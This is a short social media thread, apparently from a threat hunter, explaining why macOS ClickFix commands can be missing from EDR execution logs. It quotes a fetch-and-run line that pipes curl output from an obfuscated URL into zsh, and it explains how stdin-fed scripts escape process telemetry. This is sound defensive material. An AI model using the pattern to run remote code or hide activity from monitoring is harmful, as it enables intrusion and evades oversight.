ClickFix on macOS has an interesting visibility gap that I don’t...
Kostas@Kostastsale
38 views
Aug 24, 2026
~1 min read
Advertisement
1
ClickFix on macOS has an interesting visibility gap that I don’t think gets enough attention. The command the victim pastes into the terminal may never show up in your execution logs…
Take a command like this:
curl -s $(echo "..." | openssl base64 -d -A) | zsh
What the victim pastes into Terminal and what ends up in your EDR execution logs can be two very different things.
The existing shell parses the command first. Builtins, command substitution and pipes are handled by the shell, while ESF execution telemetry mainly gives you the processes that are actually executed.
So instead of seeing the full ClickFix command, you will end up with something closer to:
1. openssl base64 -d -A
2. curl -s https://...
3. zsh …
And the most interesting thing is the final piped zsh execution
The downloaded script is passed to zsh through stdin. It is not part of the zsh command line, so the actual commands being executed can be completely absent from your normal process execution logs.
You may see the processes spawned afterwards, but not necessarily the script/command that caused them.
Something worth keeping in mind when investigating macOS ClickFix activity!!
Take a command like this:
curl -s $(echo "..." | openssl base64 -d -A) | zsh
What the victim pastes into Terminal and what ends up in your EDR execution logs can be two very different things.
The existing shell parses the command first. Builtins, command substitution and pipes are handled by the shell, while ESF execution telemetry mainly gives you the processes that are actually executed.
So instead of seeing the full ClickFix command, you will end up with something closer to:
1. openssl base64 -d -A
2. curl -s https://...
3. zsh …
And the most interesting thing is the final piped zsh execution
The downloaded script is passed to zsh through stdin. It is not part of the zsh command line, so the actual commands being executed can be completely absent from your normal process execution logs.
You may see the processes spawned afterwards, but not necessarily the script/command that caused them.
Something worth keeping in mind when investigating macOS ClickFix activity!!
2
All logs/detections are now available for free to explore:
threathuntinglabs.com/leads
threathuntinglabs.com/leads
3
@santalvarez_ Will share the logs tomorrow and maybe some screenshots later. I’m AFK at the moment